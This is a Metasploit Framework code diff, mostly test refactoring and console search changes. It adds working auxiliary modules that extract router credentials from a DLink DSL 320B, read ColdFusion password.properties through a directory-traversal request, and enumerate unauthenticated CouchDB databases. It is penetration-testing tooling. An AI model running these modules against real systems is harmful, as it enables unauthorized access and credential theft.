print_line " #{keyword.ljust 10}: #{description}"
end
@ -1456,9 +1455,13 @@ class Core
end
def search_modules_sql(match)
# Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(match).each do |o|
framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
end
print_line(tbl.to_s)

View File

@ -0,0 +1,92 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'DLink DSL 320B Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in DLink DSL 320B
<=v1.23. This vulnerability allows to extract the credentials for the remote
management interface.
},
'References' =>
[
[ 'EDB', '25252' ],
[ 'OSVDB', '93013' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
],
'Author' => [
'Michael Messner <devnull@s3cur1ty.de>',
],
'License' => MSF_LICENSE
)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
#download configuration
begin
res = send_request_cgi({
'uri' => '/config.bin',
'method' => 'GET'
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
return if (res.code == 404)
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
if res.body !~ /sysPassword value/
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
else
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
end
#store all details as loot -> there is some usefull stuff in the response
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
user = ""
pass = ""
res.body.each_line do |line|
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
user = $1
next
end
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
pass = $1
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true
)
end
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end

View File

@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
length of an encrypted message when used with a TLS version 1.1 or above. This
leads to an integer underflow which can cause a DoS. The vulnerable function
aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL.
This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default
aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
OpenSSL 1.0.1c package.
},
'Author' =>

View File

@ -0,0 +1,106 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "ColdFusion 'password.properties' Hash Extraction",
'Description' => %q{
This module uses a directory traversal vulnerability to extract information
such as password, rdspassword, and "encrypted" properties. This module has been
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
target ColdFusion version.
},
'References' =>
[
[ 'OSVDB', '93114' ],
[ 'EDB', '25305' ]
],
'Author' =>
[
'HTP',
'sinn3r'
],
'License' => MSF_LICENSE,
'Actions' =>
[
['ColdFusion10'],
['ColdFusion9']
],
'DefaultAction' => 'ColdFusion10',
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
))
register_options(
[
Opt::RPORT(8500),
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
], self.class)
end
def peer
"#{datastore['RHOST']}:#{datastore['RPORT']}"
end
def run
filename = ""
case action.name
when 'ColdFusion10'
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
when 'ColdFusion9'
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
'encode_params' => false,
'encode' => false,
'vars_get' => {
'attributes.id' => 'it',
'attributes.file' => '../../administrator/mail/download.cfm',
'filename' => filename,
'attributes.locale' => 'it',
'attributes.var' => 'it',
'attributes.jscript' => 'false',
'attributes.type' => 'text/html',
'attributes.charset' => 'UTF-8',
'thisTag.executionmode' => 'end',
'thisTag.generatedContent' => 'htp'
}
})
if res.nil?
print_error("#{peer} - Unable to receive a response")
return
end
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
if rdspass.empty? and password.empty?
# No pass collected, no point to store anything
print_error("#{peer} - No passwords found")
return
end
print_good("#{peer} - rdspassword = #{rdspass}")
print_good("#{peer} - password = #{password}")
print_good("#{peer} - encrypted = #{encrypted}")
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
print_good("#{peer} - password.properties stored in '#{p}'")
end
end

View File

@ -0,0 +1,85 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
},
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
OptString.new('USERNAME', [false, 'The username to login as']),
OptString.new('PASSWORD', [false, 'The password to login with'])
], self.class)
end
def run
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => datastore['HTTP_METHOD'],
'authorization' => basic_auth(username, password),
'headers' => {
'Cookie' => 'Whatever?'
}
})
if res.nil?
print_error("No response for #{target_host}")
return nil
end
begin
temp = JSON.parse(res.body)
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
results = JSON.pretty_generate(temp)
if (res.code == 200)
print_good("#{target_host}:#{rport} -> #{res.code}")
print_good("Response Headers:\n\n #{res.headers}")
print_good("Response Body:\n\n #{results}\n")
elsif (res.code == 403) # Forbidden
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
elsif (res.code == 404) # Not Found
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
else
print_status("Received #{res.code}")
print_line("#{results}")
end
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results")
print_status("Results saved to #{path}")
else
print_error("Failed to save the result")
end
end
end

View File

@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
},
'References' =>
[

View File

@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
successfully on Windows 2008 64-bit and Linux 64-bit platforms.
},
'References' =>
[

View File

@ -8,7 +8,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

View File

@ -0,0 +1,9 @@
FactoryGirl.modify do
factory :mdm_module_detail do
ignore do
root {
Metasploit::Framework.root
}
end
end
end

View File

@ -0,0 +1,34 @@
FactoryGirl.define do
factory :mdm_route, :class => Mdm::Route do
netmask { generate :mdm_route_netmask }
subnet { generate :mdm_route_subnet }
#
# Associations
#
association :session, :factory => :mdm_session
end
sequence :mdm_route_netmask do |n|
bits = 32
bitmask = n % bits
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
bits = 32
shift = n % bits
mask_range = 2 ** bits
full_mask = mask_range - 1
integer_netmask = (full_mask << shift)
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
formatted_netmask
end
sequence :mdm_route_subnet do |n|
class_c_network = n % 255
"192.168.#{class_c_network}.0"
end
end

View File

@ -1,22 +0,0 @@
#
# Specs
#
require 'spec_helper'
#
# Project
#
require 'metasploit/framework/database'
require 'msf/core'
describe Msf::DBManager do
include_context 'Msf::Simple::Framework'
subject(:db_manager) do
framework.db
end
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
end

View File

@ -16,6 +16,8 @@ require 'tmpdir'
require 'msf/core'
describe Msf::ModuleManager do
include_context 'Msf::Simple::Framework'
let(:archive_basename) do
[basename_prefix, archive_extension]
end
@ -28,161 +30,11 @@ describe Msf::ModuleManager do
'rspec'
end
let(:framework) do
Msf::Framework.new
subject(:module_manager) do
framework.modules
end
subject do
described_class.new(framework)
end
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
subject.add_module_path(path_with_trailing_separator)
subject.send(:module_paths).should_not include(path_with_trailing_separator)
subject.send(:module_paths).should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
subject.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
subject.add_module_path(directory)
subject.send(:module_paths).should include(directory)
subject.send(:module_paths).should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
it_should_behave_like 'Msf::ModuleManager::Cache'
it_should_behave_like 'Msf::ModuleManager::Loading'
it_should_behave_like 'Msf::ModuleManager::ModulePaths'
end

View File

@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do
it 'should do nothing if parent_module is nil' do
parent_module = nil
allow_message_expectations_on_nil
parent_module.should_not_receive(:remove_const)
parent_module.should_not_receive(:const_set)
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
# can check that NoMethodError is not raised because *const* methods are
# not defined on `nil`.
expect {
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
}.to_not raise_error(NoMethodError)
end
context 'with namespace_module nil' do

View File

@ -0,0 +1,108 @@
require 'spec_helper'
require 'msf/core/db_export'
describe Msf::DBManager::Export do
include_context 'Msf::DBManager'
subject(:export) do
described_class.new(workspace)
end
let(:active) do
true
end
let(:workspace) do
FactoryGirl.create(
:mdm_workspace
)
end
context '#extract_module_detail_info' do
let(:report_file) do
StringIO.new
end
subject(:extract_module_detail_info) do
export.extract_module_detail_info(report_file)
end
context 'with Mdm::Module::Details' do
let(:document) do
Nokogiri::XML(report_file.string)
end
let(:module_detail_count) do
2
end
let(:root) do
document.root
end
let!(:module_details) do
FactoryGirl.create_list(
:mdm_module_detail,
module_detail_count
)
end
before(:each) do
report_file.write("<root>")
extract_module_detail_info
report_file.write("</root>")
end
it 'should have module_detail tag for each Mdm::Module::Detail' do
nodes = root.xpath('module_detail')
nodes.length.should == module_detail_count
end
context 'module_detail' do
let(:module_detail) do
module_details.first
end
subject(:module_detail_node) do
root.at_xpath('module_detail')
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description'
context '/disclosure-date' do
it 'should have Mdm::Module::Detail#disclosure_date present' do
module_detail.disclosure_date.should be_present
end
it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do
node = module_detail_node.at_xpath('disclosure-date')
Date.parse(node.content).should == module_detail.disclosure_date
end
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname'
# @todo https://www.pivotaltracker.com/story/show/48451001
end
end
context 'without Mdm::Module::Details' do
it 'should not write anything to report_file' do
extract_module_detail_info
report_file.string.should be_empty
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,107 @@
require 'spec_helper'
require 'msf/ui'
require 'msf/ui/console/module_command_dispatcher'
require 'msf/ui/console/command_dispatcher/core'
describe Msf::Ui::Console::CommandDispatcher::Core do
include_context 'Msf::DBManager'
let(:driver) do
mock(
'Driver',
:framework => framework
).tap { |driver|
driver.stub(:on_command_proc=).with(kind_of(Proc))
driver.stub(:print_line).with(kind_of(String))
}
end
subject(:core) do
described_class.new(driver)
end
context '#search_modules_sql' do
def search_modules_sql
core.search_modules_sql(match)
end
let(:match) do
''
end
it 'should generate Matching Modules table' do
core.should_receive(:generate_module_table).with('Matching Modules').and_call_original
search_modules_sql
end
it 'should call Msf::DBManager#search_modules' do
db_manager.should_receive(:search_modules).with(match).and_return([])
search_modules_sql
end
context 'with matching Mdm::Module::Details' do
let(:match) do
module_detail.fullname
end
let!(:module_detail) do
FactoryGirl.create(:mdm_module_detail)
end
context 'printed table' do
def cell(table, row, column)
row_line_number = 6 + row
line_number = 0
cell = nil
table.each_line do |line|
if line_number == row_line_number
# strip prefix and postfix
padded_cells = line[3...-1]
cells = padded_cells.split(/\s{2,}/)
cell = cells[column]
break
end
line_number += 1
end
cell
end
let(:printed_table) do
table = ''
core.stub(:print_line) do |string|
table = string
end
search_modules_sql
table
end
it 'should have fullname in first column' do
cell(printed_table, 0, 0).should include(module_detail.fullname)
end
it 'should have disclosure date in second column' do
cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s)
end
it 'should have rank name in third column' do
cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank])
end
it 'should have name in fourth column' do
cell(printed_table, 0, 3).should include(module_detail.name)
end
end
end
end
end

View File

@ -1,3 +1,5 @@
require 'metasploit/framework/database'
shared_context 'DatabaseCleaner' do
def with_established_connection
begin

View File

@ -0,0 +1,23 @@
shared_context 'Msf::DBManager' do
include_context 'DatabaseCleaner'
include_context 'Msf::Simple::Framework'
let(:active) do
true
end
let(:db_manager) do
framework.db
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
db_manager.connect(spec)
db_manager.stub(:active => active)
end
end

View File

@ -0,0 +1,23 @@
shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name|
attribute_name = child_node_name.underscore
subject(:child_node) do
module_detail_node.at_xpath(child_node_name)
end
let(:attribute) do
module_detail.send(attribute_name)
end
it "should not have Mdm::Module::Detail##{attribute_name} nil" do
attribute.should_not be_nil
end
it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do
if attribute == false
child_node.content.should be_blank
else
child_node.content.should == attribute.to_s
end
end
end

View File

@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
Builder::XmlMarkup.new(:indent => 2)
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or Msf::DBManager#active will be false and
# Msf::DBManager#report_* methods won't create any records.
db_manager.connect(spec)
end
it 'should include methods from module so method can be overridden easier in pro' do
db_manager.should be_a Msf::DBManager::ImportMsfXml
end

View File

@ -0,0 +1,49 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(:search_string) do
"#{keyword}:#{name}"
end
let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform)
end
let!(:module_target) do
FactoryGirl.create(:mdm_module_target)
end
context 'with Mdm::Module::Platform#name' do
let(:name) do
# use inspect to quote spaces in string
module_platform.name.inspect
end
it 'should find matching Mdm::Module::Platform#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.platforms.any? { |module_platform|
module_platform.name == self.module_platform.name
}
}.should be_true
end
end
context 'with Mdm::Module::Target#name' do
let(:name) do
# use inspect to quote spaces in string
module_target.name.inspect
end
it 'should find matching Mdm::Module::Target#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.targets.any? { |module_target|
module_target.name == self.module_target.name
}
}.should be_true
end
end
end
end

View File

@ -0,0 +1,44 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(keyword) do
1
end
let(:name) do
FactoryGirl.generate :mdm_module_ref_name
end
let(:search_string) do
"#{keyword}:#{send(keyword)}"
end
before(:each) do
FactoryGirl.create(:mdm_module_ref, :name => name)
end
name_prefix = "#{keyword.to_s.upcase}-"
context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}"
context "with #{context_suffix}" do
let(:name) do
"#{name_prefix}#{send(keyword)}"
end
it 'should match Mdm::Module::Ref#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.refs.any? { |module_ref|
module_ref.name == name
}
}.should be_true
end
end
context "without #{context_suffix}" do
it 'should not match Mdm::Module::Ref#name' do
module_details.count.should == 0
end
end
end
end

View File

@ -0,0 +1,60 @@
shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do
it 'should destroy Mdm::Module::Detail' do
expect {
update_all_module_details
}.to change(Mdm::Module::Detail, :count).by(-1)
end
context 'with cached module in Msf::ModuleSet' do
let(:module_set) do
framework.exploits
end
before(:each) do
module_set[module_detail.refname] = Msf::SymbolicModule
framework.modules.send(:module_info_by_path)[module_detail.file] = {
:parent_path => Metasploit::Framework.root.join('modules').to_path,
:reference_name => module_detail.refname,
:type => type
}
end
it 'should create instance of module corresponding to Mdm::Module::Detail' do
module_set.should_receive(:create).with(module_detail.refname)
update_all_module_details
end
it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do
db_manager.should_receive(:update_module_details) do |module_instance|
module_instance.should be_a Msf::Module
module_instance.type.should == module_detail.mtype
module_instance.refname.should == module_detail.refname
end
update_all_module_details
end
context 'with exception raised by #update_module_details' do
before(:each) do
db_manager.stub(:update_module_details).and_raise(Exception)
end
it 'should log error' do
db_manager.should_receive(:elog)
update_all_module_details
end
end
end
context 'without cached module in Msf::ModuleSet' do
it 'should not call update_module_details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
end

View File

@ -0,0 +1,407 @@
shared_examples_for 'Msf::ModuleManager::Cache' do
context '#cache_empty?' do
subject(:cache_empty?) do
module_manager.cache_empty?
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with empty' do
let(:module_info_by_path) do
{}
end
it { should be_true }
end
context 'without empty' do
let(:module_info_by_path) do
{
'path/to/module' => {}
}
end
it { should be_false }
end
end
context '#load_cached_module' do
let(:parent_path) do
Metasploit::Framework.root.join('modules').to_path
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:type) do
'exploit'
end
subject(:load_cached_module) do
module_manager.load_cached_module(type, reference_name)
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with module info in cache' do
let(:module_info_by_path) do
{
'path/to/module' => {
:parent_path => parent_path,
:reference_name => reference_name,
:type => type
}
}
end
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
module_manager.send(:loaders).each do |loader|
loader.should_receive(:loadable?).with(parent_path).and_call_original
end
load_cached_module
end
it 'should force load using #load_module on the loader' do
Msf::Modules::Loader::Directory.any_instance.should_receive(
:load_module
).with(
parent_path,
type,
reference_name,
:force => true
).and_call_original
load_cached_module
end
context 'return from load_module' do
before(:each) do
module_manager.send(:loaders).each do |loader|
loader.stub(:load_module => module_loaded)
end
end
context 'with false' do
let(:module_loaded) do
false
end
it { should be_false }
end
context 'with true' do
let(:module_loaded) do
true
end
it { should be_true }
end
end
end
context 'without module info in cache' do
let(:module_info_by_path) do
{}
end
it { should be_false }
end
end
context '#refresh_cache_from_module_files' do
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
end
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered
module_manager.should_receive(:refresh_cache_from_database).ordered
refresh_cache_from_module_files
end
end
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
it 'should update database and then update in-memory cache from the database for all modules' do
framework.db.should_receive(:update_all_module_details).ordered
module_manager.should_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context 'without framework migrated' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
let(:framework_migrated?) do
false
end
it 'should not call Msf::DBManager#update_module_details' do
framework.db.should_not_receive(:update_module_details)
refresh_cache_from_module_files
end
it 'should not call Msf::DBManager#update_all_module_details' do
framework.db.should_not_receive(:update_all_module_details)
refresh_cache_from_module_files
end
it 'should not call #refresh_cache_from_database' do
module_manager.should_not_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context '#refresh_cache_from_database' do
def refresh_cache_from_database
module_manager.refresh_cache_from_database
end
it 'should call #module_info_by_path_from_database!' do
module_manager.should_receive(:module_info_by_path_from_database!)
refresh_cache_from_database
end
end
context '#framework_migrated?' do
subject(:framework_migrated?) do
module_manager.send(:framework_migrated?)
end
context 'with framework database' do
before(:each) do
framework.db.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it { should be_true }
end
context 'without migrated' do
let(:migrated) do
false
end
it { should be_false }
end
end
context 'without framework database' do
before(:each) do
framework.stub(:db => nil)
end
it { should be_false }
end
end
context '#module_info_by_path' do
it { should respond_to(:module_info_by_path) }
end
context '#module_info_by_path=' do
it { should respond_to(:module_info_by_path=) }
end
context '#module_info_by_path_from_database!' do
def module_info_by_path
module_manager.send(:module_info_by_path)
end
def module_info_by_path_from_database!
module_manager.send(:module_info_by_path_from_database!)
end
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
include_context 'DatabaseCleaner'
let(:framework_migrated?) do
true
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
framework.db.connect(spec)
end
it 'should call ActiveRecord::Base.connection_pool.with_connection' do
# 1st is from with_established_connection
# 2nd is from module_info_by_path_from_database!
ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times
module_info_by_path_from_database!
end
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
Mdm::Module::Detail.should_receive(:find_each)
module_info_by_path_from_database!
end
context 'with database cache' do
let(:parent_path) do
parent_pathname.to_path
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
let(:path) do
pathname.to_path
end
let(:pathname) do
parent_pathname.join(
'exploits',
"#{reference_name}.rb"
)
end
let(:pathname_modification_time) do
pathname.mtime
end
let(:type) do
'exploit'
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
end
it 'should create cache entry for path' do
module_info_by_path_from_database!
module_info_by_path.should have_key(path)
end
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original
module_info_by_path_from_database!
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
before(:each) do
module_info_by_path_from_database!
end
its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) }
its([:parent_path]) { should == parent_path }
its([:reference_name]) { should == reference_name }
its([:type]) { should == type }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:each) do
typed_module_set[reference_name] = mock('Msf::Module')
end
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
module_info_by_path_from_database!
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
typed_module_set.fetch(reference_name).should == Msf::SymbolicModule
end
end
end
end
end
context 'without framework migrated' do
let(:framework_migrated?) do
false
end
it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) }
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
module_info_by_path_from_database!
module_info_by_path.should be_empty
end
end
end
end

View File

@ -0,0 +1,79 @@
shared_examples_for 'Msf::ModuleManager::Loading' do
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
